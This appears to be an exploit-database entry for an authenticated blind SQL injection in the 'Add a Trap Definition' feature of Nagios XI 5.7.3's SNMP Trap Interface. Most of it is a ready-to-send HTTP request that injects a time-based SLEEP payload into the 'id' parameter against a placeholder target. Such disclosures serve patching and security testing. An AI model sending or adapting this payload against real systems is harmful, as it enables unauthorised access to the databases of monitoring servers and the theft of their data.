Nagios XI 5.7.3 - 'SNMP Trap Interface' Authenticated SQL Injection

# Exploit Title: Nagios XI 5.7.3 - 'SNMP Trap Interface' Authenticated SQL Injection
# Date: 10-18-2020
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
# Software Link: https://www.nagios.com/downloads/nagios-xi/
# Version: Nagios XI 5.7.3
# Tested on: Ubuntu 18.04


# Vulnerability Details
# Description : A blind SQL injection vulnerability exists in the "Add a Trap Definition" functionality of the SNMP Trap Interface of Nagios XI.
# Vulnerable Parameter : id


# POC

GET /nagiosxi/includes/components/nxti/index.php?event=test&oid=123&category=test&severity=test&desc=%3C%3E&format=&id=&SNMPTW%5Bhost%5D=&SNMPTW%5Bservice%5D=&SNMPTW%5Bseverity%5D=%24s&SNMPTW%5Boutput%5D=&exec%5B%5D=&raw-data=&mode=save&new=0&tab=3&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a) HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://TARGET/nagiosxi/includes/components/nxti/index.php
Cookie: nagiosxi=a354rem56a8aoeieqr9k2le39i